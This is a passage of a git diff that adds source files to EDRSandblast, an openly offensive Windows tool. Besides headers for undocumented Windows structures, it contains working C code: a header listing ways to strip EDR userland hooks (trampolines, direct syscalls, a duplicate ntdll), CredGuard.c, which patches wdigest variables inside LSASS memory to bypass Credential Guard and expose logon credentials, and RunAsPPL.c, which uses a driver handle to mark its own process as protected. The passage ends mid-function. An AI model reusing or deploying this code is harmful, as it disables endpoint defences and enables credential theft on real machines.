//0x0FCA:0x04 + WORD RanProcessInit : 1; //0x0FCA:0x05 + WORD ClonedThread : 1; //0x0FCA:0x06 + WORD SuppressDebugMsg : 1; //0x0FCA:0x07 + WORD DisableUserStackWalk : 1; //0x0FCA:0x08 + WORD RtlExceptionAttached : 1; //0x0FCA:0x09 + WORD InitialThread : 1; //0x0FCA:0x0A + WORD SessionAware : 1; //0x0FCA:0x0B + } bits; + } wordFCA; + void* TxnScopeEnterCallback; //0x0FCC + void* TxnScopeExitCallback; //0x0FD0 + void* TxnScopeContext; //0x0FD4 + DWORD LockCount; //0x0FD8 + union + { + struct + { + DWORD ProcessRundown; //0x0FDC (Vista) + QWORD LastSwitchTime; //0x0FE0 (Vista) + QWORD TotalSwitchOutTime; //0x0FE8 (Vista) + LARGE_INTEGER WaitReasonBitMap; //0x0FF0 (Vista) + } vista; + + //end of Vista members + + struct + { + union + { + DWORD SpareUlong0; //0x0FDC (Win7-Win8) + INT32 WowTebOffset; //0x0FDC (Win10+) + } dwordFDC; + void* ResourceRetValue; //0x0FE0 (Win7+) + + //end of Windows 7 members (TEB shrunk after Vista) + + void* ReservedForWdf; //0x0FE4 (Win8+) + + //end of Windows 8 members + + } afterVista; + } dwordFDC; + + //members that follow available on Windows 10 and up (currently unknown) + + BYTE ReservedForWin10[0x18]; //0x0FE8 + +} TEB; + + +typedef struct { + ULONG i[2]; + ULONG buf[4]; + unsigned char in[64]; + unsigned char digest[16]; +} MD5_CTX; + +typedef VOID(WINAPI* PMD5Init) (MD5_CTX* context); +typedef VOID(WINAPI* PMD5Update)(MD5_CTX* context, const unsigned char* input, unsigned int inlen); +typedef VOID(WINAPI* PMD5Final) (MD5_CTX* context); + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + WORD LoadCount; + WORD TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + } SectionPointerAndCheckSum; + } HashLinksOrSectionPointerAndCheckSum; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + } TimeDateStampOrLoadedImports; + //_ACTIVATION_CONTEXT* EntryPointActivationContext; + PVOID EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +#include "undoc_64.h" diff --git a/EDRSandblast/Includes/Undoc_64.h b/EDRSandblast/Includes/Undoc_64.h new file mode 100644 index 0000000..12f151c --- /dev/null +++ b/EDRSandblast/Includes/Undoc_64.h @@ -0,0 +1,244 @@ +#pragma once +#include "Undoc.h" + +// +// [TEB/PEB UNDER 64-BIT WINDOWS] +// This file represents the 64-bit PEB and associated data structures for 64-bit Windows +// This PEB is allegedly valid between XP thru [at least] Windows 8 +// +// [REFERENCES] +// http://terminus.rewolf.pl/terminus/structures/ntdll/_PEB_x64.html +// http://terminus.rewolf.pl/terminus/structures/ntdll/_TEB64_x86.html +// https://github.com/giampaolo/psutil/commit/babd2b73538fcb6f3931f0ab6d9c100df6f37bcb (RTL_USER_PROCESS_PARAMETERS) +// https://redplait.blogspot.com/2011/09/w8-64bit-teb-peb.html (TEB) +// +// [CHANGELIST] +// 2018-05-02: -now can be compiled alongside windows.h (without changes) or by defining WANT_ALL_WINDOWS_H_DEFINITIONS so this file can be used standalone +// -this file may also be included alongside tebpeb32.h which can be found at http://bytepointer.com/resources/tebpeb32.h +// -64-bit types no longer clash with the 32-bit ones; e.g. UNICODE_STRING64, RTL_USER_PROCESS_PARAMETERS64, PEB64 (same result whether 32 or 64-bit compiler is used) +// -added more QWORD aliases (i.e. HANDLE64 and PTR64) so underlying types are clearer, however most PEB members remain generic QWORD placeholders for now +// -fixed missing semicolon bug in UNICODE_STRING64 +// -added prliminary RTL_USER_PROCESS_PARAMETERS64 and TEB64 with offsets +// -included byte offsets for PEB64 +// +// 2017-08-25: initial public release +// + + +// +// base types +// + +//always declare 64-bit types +#ifdef _MSC_VER + //Visual C++ +typedef unsigned __int64 QWORD; +typedef __int64 INT64; +#else + //GCC +typedef unsigned long long QWORD; +typedef long long INT64; +#endif +typedef QWORD PTR64; +#ifndef __HANDLE64_DEFINED__ +typedef QWORD HANDLE64; +#endif + +#include +//UNCOMMENT line below if you are not including windows.h +//#define WANT_ALL_WINDOWS_H_DEFINITIONS +#ifdef WANT_ALL_WINDOWS_H_DEFINITIONS + +//base types +typedef unsigned char BYTE; +typedef char CHAR; +typedef unsigned short WORD; +typedef short INT16; +typedef unsigned long DWORD; +typedef long INT32; +typedef unsigned __int64 QWORD; +typedef __int64 INT64; +typedef void* HANDLE; +typedef unsigned short WCHAR; + +//base structures +union LARGE_INTEGER +{ + struct + { + DWORD LowPart; + INT32 HighPart; + } u; + INT64 QuadPart; +}; + +union ULARGE_INTEGER +{ + struct + { + DWORD LowPart; + DWORD HighPart; + } u; + QWORD QuadPart; +}; + +#endif //#ifdef WANT_ALL_WINDOWS_H_DEFINITIONS + +typedef struct UNICODE_STRING64 +{ + union + { + struct + { + WORD Length; + WORD MaximumLength; + } u; + QWORD dummyalign; + } uOrDummyAlign; + QWORD Buffer; +} UNICODE_STRING64; + +typedef struct _CLIENT_ID64 +{ + QWORD ProcessId; + QWORD ThreadId; +} CLIENT_ID64; + + +//NOTE: the members of this structure are not yet complete +typedef struct _RTL_USER_PROCESS_PARAMETERS64 +{ + BYTE Reserved1[16]; //0x00 + QWORD Reserved2[5]; //0x10 + UNICODE_STRING64 CurrentDirectoryPath; //0x38 + HANDLE64 CurrentDirectoryHandle; //0x48 + UNICODE_STRING64 DllPath; //0x50 + UNICODE_STRING64 ImagePathName; //0x60 + UNICODE_STRING64 CommandLine; //0x70 + PTR64 Environment; //0x80 +} RTL_USER_PROCESS_PARAMETERS64; + +// +// PEB64 structure - TODO: comb more through http://terminus.rewolf.pl/terminus/structures/ntdll/_PEB_x64.html and add OS delineations and Windows 10 updates +// +// The structure represented here is a work-in-progress as only members thru offset 0x320 are listed; the actual sizes per OS are: +// 0x0358 XP/WS03 +// 0x0368 Vista +// 0x037C Windows 7 +// 0x0388 Windows 8 +// 0x07A0 Windows 10 +// +typedef struct PEB64 +{ + union + { + struct + { + BYTE InheritedAddressSpace; //0x000 + BYTE ReadImageFileExecOptions; //0x001 + BYTE BeingDebugged; //0x002 + BYTE _SYSTEM_DEPENDENT_01; //0x003 + } flags; + QWORD dummyalign; + } dword0; + QWORD Mutant; //0x0008 + QWORD ImageBaseAddress; //0x0010 + PEB_LDR_DATA* Ldr; //0x0018 + PTR64 ProcessParameters; //0x0020 / pointer to RTL_USER_PROCESS_PARAMETERS64 + QWORD SubSystemData; //0x0028 + QWORD ProcessHeap; //0x0030 + QWORD FastPebLock; //0x0038 + QWORD _SYSTEM_DEPENDENT_02; //0x0040 + QWORD _SYSTEM_DEPENDENT_03; //0x0048 + QWORD _SYSTEM_DEPENDENT_04; //0x0050 + union + { + QWORD KernelCallbackTable; //0x0058 + QWORD UserSharedInfoPtr; //0x0058 + }KernelCallbackTableOrUserSharedInfoPtr; + DWORD SystemReserved; //0x0060 + DWORD _SYSTEM_DEPENDENT_05; //0x0064 + QWORD _SYSTEM_DEPENDENT_06; //0x0068 + QWORD TlsExpansionCounter; //0x0070 + QWORD TlsBitmap; //0x0078 + DWORD TlsBitmapBits[2]; //0x0080 + QWORD ReadOnlySharedMemoryBase; //0x0088 + QWORD _SYSTEM_DEPENDENT_07; //0x0090 + QWORD ReadOnlyStaticServerData; //0x0098 + QWORD AnsiCodePageData; //0x00A0 + QWORD OemCodePageData; //0x00A8 + QWORD UnicodeCaseTableData; //0x00B0 + DWORD NumberOfProcessors; //0x00B8 + union + { + DWORD NtGlobalFlag; //0x00BC + DWORD dummy02; //0x00BC + }NtGlobalFlagOrdummy02; + LARGE_INTEGER CriticalSectionTimeout; //0x00C0 + QWORD HeapSegmentReserve; //0x00C8 + QWORD HeapSegmentCommit; //0x00D0 + QWORD HeapDeCommitTotalFreeThreshold; //0x00D8 + QWORD HeapDeCommitFreeBlockThreshold; //0x00E0 + DWORD NumberOfHeaps; //0x00E8 + DWORD MaximumNumberOfHeaps; //0x00EC + QWORD ProcessHeaps; //0x00F0 + QWORD GdiSharedHandleTable; //0x00F8 + QWORD ProcessStarterHelper; //0x0100 + QWORD GdiDCAttributeList; //0x0108 + QWORD LoaderLock; //0x0110 + DWORD OSMajorVersion; //0x0118 + DWORD OSMinorVersion; //0x011C + WORD OSBuildNumber; //0x0120 + WORD OSCSDVersion; //0x0122 + DWORD OSPlatformId; //0x0124 + DWORD ImageSubsystem; //0x0128 + DWORD ImageSubsystemMajorVersion; //0x012C + QWORD ImageSubsystemMinorVersion; //0x0130 + union + { + QWORD ImageProcessAffinityMask; //0x0138 + QWORD ActiveProcessAffinityMask; //0x0138 + }ImageProcessAffinityMaskOrActiveProcessAffinityMask; + QWORD GdiHandleBuffer[30]; //0x0140 + QWORD PostProcessInitRoutine; //0x0230 + QWORD TlsExpansionBitmap; //0x0238 + DWORD TlsExpansionBitmapBits[32]; //0x0240 + QWORD SessionId; //0x02C0 + ULARGE_INTEGER AppCompatFlags; //0x02C8 + ULARGE_INTEGER AppCompatFlagsUser; //0x02D0 + QWORD pShimData; //0x02D8 + QWORD AppCompatInfo; //0x02E0 + UNICODE_STRING64 CSDVersion; //0x02E8 + QWORD ActivationContextData; //0x02F8 + QWORD ProcessAssemblyStorageMap; //0x0300 + QWORD SystemDefaultActivationContextData; //0x0308 + QWORD SystemAssemblyStorageMap; //0x0310 + QWORD MinimumStackCommit; //0x0318 + +} PEB64; //struct PEB64 + +// +// TEB64 structure - preliminary structure; the portion listed current at least as of Windows 8 +// +typedef struct TEB64 +{ + BYTE NtTib[56]; //0x0000 / NT_TIB64 structure + PTR64 EnvironmentPointer; //0x0038 + CLIENT_ID64 ClientId; //0x0040 + PTR64 ActiveRpcHandle; //0x0050 + PTR64 ThreadLocalStoragePointer; //0x0058 + PTR64 ProcessEnvironmentBlock; //0x0060 / ptr to PEB64 + DWORD LastErrorValue; //0x0068 + DWORD CountOfOwnedCriticalSections; //0x006C + PTR64 CsrClientThread; //0x0070 + PTR64 Win32ThreadInfo; //0x0078 + DWORD User32Reserved[26]; //0x0080 + DWORD UserReserved[6]; //0x00E8 + PTR64 WOW32Reserved; //0x0100 + DWORD CurrentLocale; //0x0108 + DWORD FpSoftwareStatusRegister; //0x010C + PTR64 SystemReserved1[54]; //0x0110 + DWORD ExceptionCode; //0x02C0 + PTR64 ActivationContextStackPointer; //0x02C8 + +} TEB64; //struct TEB64 diff --git a/EDRSandblast/Includes/UserlandHooks.h b/EDRSandblast/Includes/UserlandHooks.h new file mode 100644 index 0000000..1319421 --- /dev/null +++ b/EDRSandblast/Includes/UserlandHooks.h @@ -0,0 +1,64 @@ +#pragma once +#include +#include "Undoc.h" +#include "PEParser.h" +#include "PEBBrowse.h" +#include +#include +#include +#include + +typedef struct diff_t { + PVOID disk_ptr; + PVOID mem_ptr; + size_t size; +} diff; + +typedef struct hook_t { + PVOID disk_function; + PVOID mem_function; + LPCSTR functionName; + diff* list_patches; +} hook; + +typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory) ( + IN HANDLE ProcessHandle, + IN OUT PVOID* BaseAddress, + IN OUT PSIZE_T NumberOfBytesToProtect, + IN ULONG NewAccessProtection, + OUT PULONG OldAccessProtection); + +typedef NTSTATUS(NTAPI* pRtlGetVersion)( + OUT LPOSVERSIONINFOEXW lpVersionInformation); + +enum unhook_method_e { + UNHOOK_NONE, + + // Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all detected hooks + UNHOOK_WITH_NTPROTECTVIRTUALMEMORY, + + // Constructs an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, by allocating an executable trampoling jumping over the hook, and remove all detected hooks + UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE, + + // Search for an existing trampoline allocated by the EDR itself, to get an "unhooked" (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all detected hooks + UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE, + + // Loads an additionnal version of ntdll library into memory, and use the (hopefully unmonitored) version of NtProtectVirtualMemory present in this library to remove all detected hooks + UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY, + + // Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory, and uses it to remove all detected hooks + UNHOOK_WITH_DIRECT_SYSCALL +}; + +hook* searchHooks(const char* csvFileName); +PVOID hookResolver(PBYTE hookAddr); +pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method); +VOID unhook(hook* hook, DWORD unhook_method); + + +/* +* Cache for NTDLL PE (accessed often) +*/ +PE* ntdllDiskPe_g; +PE* ntdllMemPe_g; +void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk); \ No newline at end of file diff --git a/EDRSandblast/Includes/WdigestOffsets.h b/EDRSandblast/Includes/WdigestOffsets.h new file mode 100644 index 0000000..e690403 --- /dev/null +++ b/EDRSandblast/Includes/WdigestOffsets.h @@ -0,0 +1,38 @@ +/* + +--- Functions to bypass Credential Guard by enabling Wdigest through patching of the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled attributes in memory. +--- Full source and credit to https://teamhydra.blog/2020/08/25/bypassing-credential-guard/ +--- Code adapted from: https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240 + +*/ + +#pragma once + +#include +#include + +#include "Globals.h" +#include "FileVersion.h" + +enum WdigestOffsetType { + g_fParameter_UseLogonCredential = 0, + g_IsCredGuardEnabled = 1 +}; + +union WdigestOffsets { + // structure version of wdigest.dll's offsets + struct { + // wdigest.dll's g_fParameter_UseLogonCredential + DWORD64 g_fParameter_UseLogonCredential; + // wdigest.dll's g_IsCredGuardEnabled + DWORD64 g_IsCredGuardEnabled; + } st; + + // array version (usefull for code factoring) + DWORD64 ar[2]; +}; + +union WdigestOffsets wdigestOffsets; + +// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use. +union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename); \ No newline at end of file diff --git a/EDRSandblast/LSASSProtectionBypass/CredGuard.c b/EDRSandblast/LSASSProtectionBypass/CredGuard.c new file mode 100644 index 0000000..46a046e --- /dev/null +++ b/EDRSandblast/LSASSProtectionBypass/CredGuard.c @@ -0,0 +1,170 @@ +#include "CredGuard.h" + +DWORD WINAPI disableCredGuardByPatchingLSASS(void) { + HANDLE hProcessSnap; + HANDLE hLsass; + PROCESSENTRY32 pe32; + // Set the size of the structure before using it. + pe32.dwSize = sizeof(PROCESSENTRY32); + pe32.th32ProcessID = 0; + + // Take a snapshot of all processes in the system. + hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hProcessSnap == INVALID_HANDLE_VALUE) { + _tprintf(TEXT("[!] Cred Guard bypass failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n")); + return 1; + } + + // Retrieve information about the first process, + // and exit if unsuccessful + if (!Process32First(hProcessSnap, &pe32)) { + _tprintf(TEXT("[!] Cred Guard bypass failed: obtained invalid process handle\n")); // show cause of failure + CloseHandle(hProcessSnap); // clean the snapshot object + return 1; + } + + // Now walk the snapshot of processes, and look for "lsass.exe" + do { + if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe")) == 0) { + break; + } + } while (Process32Next(hProcessSnap, &pe32)); + CloseHandle(hProcessSnap); + + if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe")) != 0 || pe32.th32ProcessID == 0) { + _tprintf(TEXT("[!] Cred Guard bypass failed: coudln't find LSASS process\n")); + return 1; + } + + // Open an handle to the LSASS process. + hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID); + if (hLsass == NULL || hLsass == INVALID_HANDLE_VALUE) { + _tprintf(TEXT("[!] Cred Guard bypass failed: couldn't open lsass memory (OpenProcess, error code 0x%lx)\n"), GetLastError()); + return 1; + } + + HMODULE hModulesArray[512] = { 0 }; + DWORD lpcbNeeded; + if (!EnumProcessModules(hLsass, hModulesArray, sizeof(hModulesArray), &lpcbNeeded)) { + _tprintf(TEXT("[!] Cred Guard bypass failed: couldn't enumerate lsass loaded modules (EnumProcessModules, error code 0x%lx)\n"), GetLastError()); + CloseHandle(hLsass); + return 1; + } + + BOOL returnStatus = FALSE; + TCHAR szModulename[MAX_PATH]; + for (DWORD i = 0; i < (lpcbNeeded / sizeof(HMODULE)); i++) { + if (hModulesArray[i] && !GetModuleFileNameEx(hLsass, hModulesArray[i], szModulename, sizeof(szModulename))) { + _tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module name for module at index 0x%lx (GetModuleFileNameEx, error code 0x%lx)\n"), i, GetLastError()); + continue; + } + + if (_tcsstr(szModulename, TEXT("wdigest"))) { + MODULEINFO moduleInfo = { 0 }; + if (hModulesArray[i] && !GetModuleInformation(hLsass, hModulesArray[i], &moduleInfo, sizeof(MODULEINFO))) { + _tprintf(TEXT("[!] Cred Guard bypass non fatal error: couldn't get module information for module at index 0x%lx (GetModuleInformation, error code 0x%lx)\n"), i, GetLastError()); + continue; + } + + // Computes the exact address in memory of g_fParameter_UseLogonCredential & g_IsCredGuardEnabled using load lib wdigest base address + known offsets. + DWORD64 wdigestBaseAddress = (DWORD64)moduleInfo.lpBaseOfDll; + + DWORD currentValue = 0x0; + DWORD CurrentValueLength = sizeof(DWORD); + SIZE_T bytesRead = 0; + SIZE_T bytesWritten = 0; + + /* + * Setting g_fParameter_UseLogonCredential to 0x1. + * First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard. + */ + DWORD64 useLogonCredentialAddress = wdigestBaseAddress + wdigestOffsets.st.g_fParameter_UseLogonCredential; + DWORD useLogonCredentialPatch = 0x1; + _tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), useLogonCredentialAddress); + //if (ReadProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, &dwCurrent, dwCurrentLength, &bytesRead)) + if (ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, ¤tValue, CurrentValueLength, &bytesRead)) { + _tprintf(TEXT("[+] Found wdigest's g_fParameter_UseLogonCredential with a current value of 0x%lx\n"), currentValue); + } + else { + _tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_fParameter_UseLogonCredential value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError()); + break; + } + if (currentValue != useLogonCredentialPatch) { + if (WriteProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, (PVOID)&useLogonCredentialPatch, sizeof(DWORD), &bytesWritten)) { + ReadProcessMemory(hLsass, (PVOID)useLogonCredentialAddress, ¤tValue, CurrentValueLength, &bytesRead); + if (currentValue == useLogonCredentialPatch) { + _tprintf(TEXT("[+] Successfully overwrote wdigest's g_fParameter_UseLogonCredential value to 0x%lx\n"), currentValue); + } + else { + _tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_fParameter_UseLogonCredential value (current value 0x%lx instead of 0x%lx)\n"), currentValue, useLogonCredentialPatch); + } + } + else { + _tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_fParameter_UseLogonCredential value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError()); + break; + } + } + else { + _tprintf(TEXT("[+] wdigest's g_fParameter_UseLogonCredential is already patched!\n")); + } + _tprintf(TEXT("\n\n")); + + /* + * Setting g_IsCredGuardEnabled to 0x0. + * Needs to temporary set the memory page of g_IsCredGuardEnabled to PAGE_READWRITE to conduct the patch. + * First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard. + */ + DWORD64 credGuardEnabledAddress = wdigestBaseAddress + wdigestOffsets.st.g_IsCredGuardEnabled; + DWORD isCredGuardEnabledPatch = 0x0; + currentValue = 0x0; + bytesRead = 0; + bytesWritten = 0; + DWORD oldMemoryProtection = 0x0; + _tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), credGuardEnabledAddress); + _tprintf(TEXT("[*] Attempting to set wdigest's g_IsCredGuardEnabled memory protection as PAGE_READWRITE\n")); + if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), PAGE_READWRITE, &oldMemoryProtection)) { + _tprintf(TEXT("[!] Cred Guard bypass fatal error: Failed to set wdigest's g_IsCredGuardEnabled memory protection to PAGE_READWRITE (VirtualProtectEx, error code 0x%lx)\n"), GetLastError()); + break; + } + if (ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, ¤tValue, CurrentValueLength, &bytesRead)) { + _tprintf(TEXT("[+] Found wdigest's g_IsCredGuardEnabled with a current value of 0x%lx\n"), currentValue); + } + else { + _tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_IsCredGuardEnabled value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError()); + break; + } + if (currentValue != isCredGuardEnabledPatch) { + if (WriteProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, (PVOID)&isCredGuardEnabledPatch, sizeof(DWORD), &bytesWritten)) { + ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, ¤tValue, CurrentValueLength, &bytesRead); + if (currentValue == isCredGuardEnabledPatch) { + _tprintf(TEXT("[+] Successfully overwrote wdigest's g_IsCredGuardEnabled value to 0x%lx\n"), currentValue); + } + else { + _tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_IsCredGuardEnabled value (current value 0x%lx instead of 0x%lx)\n"), currentValue, isCredGuardEnabledPatch); + } + } + else { + _tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_IsCredGuardEnabled value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError()); + break; + } + } + else { + _tprintf(TEXT("[+] wdigest's g_IsCredGuardEnabled is already patched!\n")); + } + DWORD newMemoryProtection = 0x0; + if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), oldMemoryProtection, &newMemoryProtection)) { + _tprintf(TEXT("[!] Cred Guard bypass non fatal error: Failed to restore wdigest's g_IsCredGuardEnabled memory protection to its original value (VirtualProtectEx, error code 0x%lx)\n"), GetLastError()); + } + else { + _tprintf(TEXT("[+] Successfully restored wdigest's g_IsCredGuardEnabled memory protection to its original value\n")); + } + _tprintf(TEXT("\n\n")); + + returnStatus = TRUE; + + } + } + CloseHandle(hLsass); + + return returnStatus; +} \ No newline at end of file diff --git a/EDRSandblast/LSASSProtectionBypass/RunAsPPL.c b/EDRSandblast/LSASSProtectionBypass/RunAsPPL.c new file mode 100644 index 0000000..5cf087c --- /dev/null +++ b/EDRSandblast/LSASSProtectionBypass/RunAsPPL.c @@ -0,0 +1,106 @@ +/* + +--- Functions to set the current process as a Protected Process (PsProtectedSignerWinTcb-Light). +--- The code to locate the EPROCESS structure is adapted from: + http://blog.rewolf.pl/blog/?p=1683 +*/ + +#include "RunAsPPL.h" + +DWORD64 GetSelfEPROCESSAddress(BOOL verbose) { + NTSTATUS status; + DWORD currentProcessID = GetCurrentProcessId(); + + // Open an handle to our own process. + HANDLE selfProcessHandle = OpenProcess(SYNCHRONIZE, FALSE, currentProcessID); + if (verbose) { + _tprintf(TEXT("[*] Self process handle: 0x%hx\n"), (USHORT)selfProcessHandle); + } + + + // Retrieves the native NtQuerySystemInformation function from ntdll. + HMODULE hNtdll = GetModuleHandle(TEXT("ntdll")); + if (!hNtdll) { + _tprintf(TEXT("[!] ERROR: could not open an handle to ntdll to find the EPROCESS struct of the current process\n")); + return 0x0; + } + _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation"); + if (!NtQuerySystemInformation) { + _tprintf(TEXT("[!] ERROR: could not retrieve NtQuerySystemInformation function to find the EPROCESS struct of the current process\n")); + return 0x0; + } + + /* + * Retrieves all the handle table using NtQuerySystemInformation. + * Looping until NtQuerySystemInformation has sufficient space to do so (i.e does not return a STATUS_INFO_LENGTH_MISMATCH). + * Possible alternative to explore woule be to use the ReturnLength returned by NtQuerySystemInformation. + */ + ULONG SystemHandleInformationSize = SystemHandleInformationBaseSize; + PSYSTEM_HANDLE_INFORMATION tmpHandleTableInformation = NULL; + PSYSTEM_HANDLE_INFORMATION pHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)malloc(SystemHandleInformationSize); + if (!pHandleTableInformation) { + _tprintf(TEXT("[!] ERROR: could not allocate memory for the handle table to find the EPROCESS struct of the current process\n")); + return 0x0; + } + status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL); + while (status == STATUS_INFO_LENGTH_MISMATCH) { + SystemHandleInformationSize = SystemHandleInformationSize * 2; + tmpHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleTableInformation, SystemHandleInformationSize); + if (!tmpHandleTableInformation) { + _tprintf(TEXT("[!] ERROR: could not realloc memory for the handle table to find the EPROCESS struct of the current process\n")); + return 0x0; + } + pHandleTableInformation = tmpHandleTableInformation; + status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL); + } + if (!NT_SUCCESS(status)) { + _tprintf(TEXT("[!] ERROR: could not retrieve the HandleTableInformation to find the EPROCESS struct of the current process\n")); + return 0x0; + } + + // Iterates through all the handles. + DWORD64 returnAddress = 0x0; + for (DWORD i = 0; i < pHandleTableInformation->NumberOfHandles; i++) { + SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = pHandleTableInformation->Handles[i]; + + // Only retrieves the handles associated with our own process. + if (handleInfo.UniqueProcessId != currentProcessID) { + continue; + } + + if (verbose) { + _tprintf(TEXT("[*] Handle for the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object); + } + + if (handleInfo.HandleValue == (USHORT)selfProcessHandle) { + _tprintf(TEXT("[+] Found the handle of the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object); + returnAddress = (DWORD64)handleInfo.Object; + } + } + free(pHandleTableInformation); + CloseHandle(selfProcessHandle); + return returnAddress; +} + +int SetCurrentProcessAsProtected(BOOL verbose) { + HANDLE Device = GetDriverHandle(); + DWORD64 processEPROCESSAddress = GetSelfEPROCESSAddress(verbose); + if (processEPROCESSAddress == 0x0) { + _tprintf(TEXT("[!] ERROR: could not find the EPROCCES struct of the current process to self protect\n")); + CloseHandle(Device); + return -1; + } + _tprintf(TEXT("[+] Found self process EPROCCES struct at 0x%I64x\n"), processEPROCESSAddress); + + // Sets the current process EPROCESS's ProtectionLevel as Light WinTcb (PS_PROTECTED_WINTCB_LIGHT, currently 0x61). + DWORD64 processSignatureLevelAddress = processEPROCESSAddress + ntoskrnlOffsets.st.ps_protection; + // DWORD64 processSignatureLevelAddress = 0xffffe481d073a080 + offsets.st.ps_protection; + + UCHAR flagPPLWinTcb = ((UCHAR)((PsProtectedSignerWinTcb) << 4)) | ((UCHAR)(PsProtectedTypeProtectedLight)); + _tprintf(TEXT("[*] Protecting own process by setting the EPROCESS's ProtectionLevel (at 0x%I64x) to 0x%hx (PS_PROTECTED_WINTCB_LIGHT)\n"), processSignatureLevelAddress, flagPPLWinTcb); + WriteMemoryWORD(Device, processSignatureLevelAddress, flagPPLWinTcb); + + CloseHandle(Device); + + return 0; +} \ No newline at end of file diff --git a/EDRSandblast/Userland/PEBBrowse.c b/EDRSandblast/Userland/PEBBrowse.c new file mode 100644 index 0000000..de24f0b --- /dev/null +++ b/EDRSandblast/Userland/PEBBrowse.c @@ -0,0 +1,80 @@ +#include "Undoc.h" +#include "PEBBrowse.h" +#include + +/* + Get the module entry in the InLoadOrderModuleList given the module name +*/ +LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name) { + size_t nameSize = wcslen(name); + + for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) { + if (!_memicmp(currentModuleEntry->BaseDllName.Buffer, name, sizeof(WCHAR) * nameSize)) { + return currentModuleEntry; + } + } +#ifdef _DEBUG + printf("getModuleEntryFromNameW failed to find module\n"); +#endif // _DEBUG + return NULL; +} + + +/* + Get the module entry in the InLoadOrderModuleList given an address inside it + Assumes : the address belong to a module + Returns : the module it should belong to +*/ +LDR_DATA_TABLE_ENTRY* getModuleEntryFromAbsoluteAddr(PVOID addr) { + LDR_DATA_TABLE_ENTRY* closest = NULL; + uintptr_t distance = (uintptr_t)-1; + + for (LDR_DATA_TABLE_ENTRY* ptr = getNextModuleEntryInLoadOrder(NULL); ptr != NULL; ptr = getNextModuleEntryInLoadOrder(ptr)) { + if (ptr->DllBase <= addr && ((uintptr_t)addr - 